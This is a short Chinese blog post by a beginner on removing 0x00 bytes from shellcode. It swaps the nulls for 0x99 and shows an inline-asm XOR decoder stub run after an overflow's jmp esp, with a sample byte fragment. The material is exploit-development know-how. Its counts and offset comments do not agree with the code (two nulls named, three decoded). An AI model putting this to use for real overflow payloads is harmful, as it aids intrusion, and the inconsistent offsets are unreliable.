解码shell code的/x00

关于shell code,对我这个菜鸟来说真的是好难,汇编不懂,用汇编写,我都不敢想,不过在c++中还是可以提取的,只是有好多的/x00,很是烦啊` 最近在网上看到了解决这个问题的办法,如你提取的shell code是这样的
/x55/x00/x52/x8B/xEC/x83/xEC/x20/x33/xC9
/xC6/x00/xF5/x6D/xC6/x45/xF6/x73/xC6/x45
/xF7/x76/xC6/x45/xF8/x63/xC6/x45/xF9/x72
里面有2个00,那里说是这样的,1.将00该为99,在执行shell code前去执行解码程序,将他还原,解码程序是这样的

__asm
{
mov eax,esp; //这是溢出后执行jmp esp后执行的第一条指令,esp指向当前指令地址,意义是"获得解码程序起址"
add eax,44h; //解码子程序有x个字节(解码程序起址+x=code起址,再加上2偏移)使eax指向第一个编码过的0x99
xor [eax],99h //解码第一个0x99,这个操作的意义是"0x99异或0x99=0x00",即还原成0x00
add eax,28h //指向第95偏移
xor [eax],99h //解码第二个0x99
add eax,2eh //指向第140偏移
xor [eax],99h //解码第三个0x99
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值